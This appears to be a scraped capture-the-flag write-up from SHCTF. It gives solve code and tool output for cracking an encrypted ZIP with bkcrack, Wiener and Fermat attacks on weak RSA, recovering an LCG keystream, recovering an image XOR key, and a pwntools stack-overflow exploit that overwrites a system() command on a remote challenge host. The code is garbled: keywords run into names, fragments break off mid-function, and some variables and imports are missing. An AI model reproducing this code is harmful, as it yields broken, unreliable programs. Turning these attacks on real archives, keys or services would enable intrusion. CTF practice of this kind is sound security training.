./bkcrack.exe -C 120250_CrackM3.zip -c flag.exe -p mingwen -o 64 bkcrack 1.8.0 - 2025-08-18 [12:07:50] Z reduction using 56 bytes of known plaintext 100.0 % (56 / 56) [12:07:50] Attack on 140645 Z values at index 71 Keys: 60101051 4cba82cb 48eac20c 33.4 % (46942 / 140645) Found a solution. Stopping. You may resume the attack with the option: --continue-attack 46942 [12:08:10] Keys 60101051 4cba82cb 48eac20c
./bkcrack.exe -C 120250_CrackM3.zip -c flag.exe -k 60101051 4cba82cb 48eac20c -d flag.exe bkcrack 1.8.0 - 2025-08-18 [12:08:52] Writing deciphered data flag.exe Wrote deciphered data (not compressed).
./flag.exe Hello and welcome,CTFer! The flag is: SHCTF{002c158f-b4d2-4e14-bbbb-b5141bca8cb9}
(base) ┌──(rekjo㉿LAPTOP-BMERJF8L)-[/mnt/e/azaa] └─$ ./bkcrack.exe -C flag.zip -c flag.txt -x 0 6e69696d6d636377 -x 12 7a666970 bkcrack 1.8.0 - 2025-08-18 [12:40:46] Z reduction using 1 bytes of known plaintext 100.0 % (1 / 1) [12:40:46] Attack on 2818048 Z values at index 6 Keys: 4543d810 f89b3d67 531a63b0 32.6 % (919157 / 2818048) Found a solution. Stopping. You may resume the attack with the option: --continue-attack 919157 [12:50:12] Keys 4543d810 f89b3d67 531a63b0
(base) ┌──(rekjo㉿LAPTOP-BMERJF8L)-[/mnt/e/azaa] └─$ ./bkcrack.exe -C flag.zip -c flag.txt -k 4543d810 f89b3d67 531a63b0 -d flag.txt bkcrack 1.8.0 - 2025-08-18 [13:20:52] Writing deciphered data flag.txt Wrote deciphered data (not compressed).
defclean_key(key: str) -> list[str]: k = [ch.lower() for ch in key if is_alpha(ch)] ifnot k: raise ValueError("Key must contain at least one letter A-Z.") return k
defvig(text: str, key: str, mode: str, op: str) -> str: primer = clean_key(key) out, ki = [], 0 if mode == "auto": stream = primer[:]
for ch in text: ifnot is_alpha(ch): out.append(ch) continue
kch = primer[ki % len(primer)] if mode == "repeat"else stream[ki] x, k = shift(ch), shift(kch)
if op == "e": y = (x + k) % 26 out_ch = chr(y + ord("a")) if mode == "auto": stream.append(ch.lower()) else: # op == "d" y = (x - k) % 26 out_ch = chr(y + ord("a")) if mode == "auto": stream.append(out_ch)
out.append(out_ch.upper() if ch.isupper() else out_ch) ki += 1
return"".join(out)
defask(prompt: str, valid: set[str]) -> str: whileTrue: s = input(prompt).strip().lower() if s in valid: return s print(f"Choose one of: {', '.join(sorted(valid))}")
from Crypto.Util.number import getPrime,bytes_to_long from gmpy2 import invert from secret import flag
m = bytes_to_long(flag)
p = getPrime(512) q = getPrime(512) n = p*q phi = (p-1) * (q-1) e = getPrime(1019) d = invert(e, phi)
c = pow(m,e,n) """ n = 107464134871680646151655304067173578951022679613817744422854142736895193478923970402314237869266898585661396817719803005109183572552933963881756199330890085692291647461683934019264121186823772581796061998307778635680038707808422026396560620912393186072263186503236380890048319797143644270579169484448179083299 e = 3924586561728843234261049280560557566669922961436496251423249382498887294225142535297862819865029081145630384268177735578769958711287734205364353929040337350836000661255957087233897675207507752217828489549059197109918195953230752720210793300168746820366115929509596904295875481061789801178045962611893883689 c = 4557192604704814579224198928010541193712311907197292139423304635523945088581321950910727673367241811197226152299201713883344661436550024661781925551129803469824570154317098612833694631836257698682075695287756551674264966935203485636255394639674521955953445322493019052791894426980946209383266707043869522774 """
from fractions import Fraction from math import isqrt
n = 107464134871680646151655304067173578951022679613817744422854142736895193478923970402314237869266898585661396817719803005109183572552933963881756199330890085692291647461683934019264121186823772581796061998307778635680038707808422026396560620912393186072263186503236380890048319797143644270579169484448179083299 e = 3924586561728843234261049280560557566669922961436496251423249382498887294225142535297862819865029081145630384268177735578769958711287734205364353929040337350836000661255957087233897675207507752217828489549059197109918195953230752720210793300168746820366115929509596904295875481061789801178045962611893883689 c = 4557192604704814579224198928010541193712311907197292139423304635523945088581321950910727673367241811197226152299201713883344661436550024661781925551129803469824570154317098612833694631836257698682075695287756551674264966935203485636255394639674521955953445322493019052791894426980946209383266707043869522774
defcont_frac(a, b): cf = [] while b: cf.append(a // b) a, b = b, a % b return cf
defconvergents(cf): conv = [] for i inrange(len(cf)): f = Fraction(0, 1) for a inreversed(cf[:i+1]): f = a + (Fraction(1, f) if f.numerator else Fraction(0, 1)) conv.append((f.numerator, f.denominator)) return conv
defis_square(x): if x < 0: returnFalse r = isqrt(x) return r * r == x
defwiener(e, n): cf = cont_frac(e, n) for k, d in convergents(cf): if k == 0: continue if (e*d - 1) % k != 0: continue phi = (e*d - 1) // k s = n - phi + 1 disc = s*s - 4*n if is_square(disc): t = isqrt(disc) p = (s + t) // 2 q = (s - t) // 2 if p*q == n: return d, p, q returnNone
deflong_to_bytes(x): out = bytearray() while x: out.append(x & 0xff) x >>= 8 returnbytes(reversed(out))
# n = 172113078605688993167549425692325605693719693815361211139292482064751327114103720980024048929660587708361336638391782482562146750015275689746844657810313957504514376746631004470588767450715447808496931019899675426647981223953742448155335425954936981689508246039354976739386690722681509534696120714425567962527 # e = 65537 # c = 47611886444337000128826989676221463775339201602510220886566675518701473035795983698414894648685567473325732994652173596155832091773084566434572294009136327143103984205257862772844337876748271318723897875683699389776414143689503392203746843332334862282735760778003407162335426111769147991087343730761557771446
import math from sympy import mod_inverse from sympy.ntheory.primetest import is_square from Crypto.Util.number import long_to_bytes
n = 172113078605688993167549425692325605693719693815361211139292482064751327114103720980024048929660587708361336638391782482562146750015275689746844657810313957504514376746631004470588767450715447808496931019899675426647981223953742448155335425954936981689508246039354976739386690722681509534696120714425567962527 e = 65537 c = 47611886444337000128826989676221463775339201602510220886566675518701473035795983698414894648685567473325732994652173596155832091773084566434572294009136327143103984205257862772844337876748271318723897875683699389776414143689503392203746843332334862282735760778003407162335426111769147991087343730761557771446
# Fermat factorization (works because p,q are close) A = math.isqrt(n) if A*A < n: A += 1 B2 = A*A - n assert is_square(B2) B = math.isqrt(B2)
# --- given by challenge --- P_known = b'Insecure_linear_congruential_random_number!!!!!!' C_known_hex = "44e18dfa1acd14aa790fc3bac4ca54c137bcd47bdfc2209a53b83715ecad3e29249845720588cac007bfb94f8476d91a" C_flag_hex = "1995374a5b64c6696578c1d5bdc6fa3d1e974b813436eab4348db801fb7a6703658eaa4fefa2c6fd6792beb969df8ca70ad87a4f4aea6ca0040d65a3c1e3a5bf2655cafc1e5603a171edc9aa077c0ca264677c351907f35756c14dd7ece428cb424a3804b544ccb53e99935f9bc2d8483dd7587379c99b3542c222008a"
# --- helpers --- defegcd(a, b): if b == 0: return (a, 1, 0) g, x, y = egcd(b, a % b) return (g, y, x - (a // b) * y)
definvmod(a, m): a %= m g, x, _ = egcd(a, m) if g != 1: raise ValueError(f"no inverse for {a} mod {m}, gcd={g}") return x % m
defchunk8(b: bytes): assertlen(b) % 8 == 0 return [int.from_bytes(b[i:i+8], "big") for i inrange(0, len(b), 8)]
deflcg_stream(m, a, c, s0, n): x = s0 out = [] for _ inrange(n): x = (a * x + c) % m out.append(x) return out
defrecover_modulus(xs): # xs are consecutive outputs X1..Xn (n>=5 recommended) # t_i = x_{i+1} - x_i ts = [xs[i+1] - xs[i] for i inrange(len(xs)-1)] # u_i = t_{i+2}*t_i - t_{i+1}^2 (all multiples of m) us = [] for i inrange(len(ts)-2): u = ts[i+2] * ts[i] - ts[i+1] * ts[i+1] if u != 0: us.append(abs(u)) ifnot us: raise ValueError("not enough nonzero u_i to recover modulus") return reduce(gcd, us)
defrecover_lcg_params(xs, m): # xs: consecutive outputs, need at least 3 x1, x2, x3 = xs[0], xs[1], xs[2] a = ((x3 - x2) * invmod(x2 - x1, m)) % m c = (x2 - a * x1) % m # xs are outputs after one LCG step; original encrypt uses: # x1 = (a*s0 + c) mod m => s0 = (x1 - c) * inv(a) mod m s0 = ((x1 - c) * invmod(a, m)) % m return a, c, s0
defxor_bytes(a: bytes, b: bytes) -> bytes: returnbytes(x ^ y for x, y inzip(a, b))
# pad known plaintext to multiple of 8 like encryption does padlen = (-len(P_known)) % 8 Pk = P_known + b"\x00" * padlen
P_blocks = chunk8(Pk) C_blocks = chunk8(C_known)
# recover keystream outputs for known part: X_i = P_i xor C_i xs = [pb ^ cb for pb, cb inzip(P_blocks, C_blocks)] print("[+] recovered outputs X1..Xn:", len(xs))
# recover modulus m m = recover_modulus(xs) print("[+] recovered m =", m)
# recover a,c,s0 a, c, s0 = recover_lcg_params(xs, m) print("[+] recovered a =", a) print("[+] recovered c =", c) print("[+] recovered s0 =", s0)
# sanity-check: reproduce known outputs xs_check = lcg_stream(m, a, c, s0, len(xs)) assert xs_check == xs, "LCG params failed to reproduce known outputs!" print("[+] sanity check passed (reproduced known keystream)")
# generate keystream for flag part (continue after known blocks) # we already used len(xs) outputs; need next outputs for C_flag length n_flag_blocks = (len(C_flag) + 7) // 8 full_stream = lcg_stream(m, a, c, s0, len(xs) + n_flag_blocks) ks_flag = full_stream[len(xs):]
# decrypt C_flag pt_flag = bytearray() for i inrange(n_flag_blocks): cb = C_flag[i*8:(i+1)*8] k = ks_flag[i].to_bytes(8, "big") pt_flag += xor_bytes(cb, k[:len(cb)]) # last block may be short
print("[+] FLAG bytes:", pt_flag) try: print("[+] FLAG str :", pt_flag.decode()) except UnicodeDecodeError: print("[!] FLAG not valid utf-8, raw shown above")
key = bytearray([0] * KEYLEN) seen = [False] * KEYLEN
# iterate pixels in the same order as encryption: y major, then x for y inrange(h): for x inrange(w): idx = (y * w + x) * 4 encA = enc_rgba[idx + 3]
# derive mA assuming origA==0xFF mA = encA ^ 0xFF k3 = u8(mA + 0x10) ^ 0x55
b = idx % KEYLEN pos = (b + 3) % KEYLEN # key byte used for alpha ifnot seen[pos]: key[pos] = k3 seen[pos] = True
missing = [i for i, s inenumerate(seen) ifnot s] if missing: raise RuntimeError(f"Key recovery incomplete, missing {len(missing)} bytes, e.g. {missing[:16]}") return key
v4 = __readfsqword(0x28u); strcpy(command, "echo hello"); puts("oops, you can do it, what is your name"); read(0, buf, (unsignedint)(n100 - 80)); system(command); puts(buf); return v4 - __readfsqword(0x28u); }
栈溢出覆盖command,10字节,随便发挥了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
from pwn import *
defexp(): io = remote('challenge.shc.tf', 32695) io.sendlineafter(b'plz input number1\n', b'-156') io.sendlineafter(b'plz input number2\n', b'0') payload = b'A'*10 + b'cat flag\x00' io.sendlineafter(b'oops, you can do it, what is your name\n', payload)
flag = io.recvline() print(f"{flag.decode().strip()}")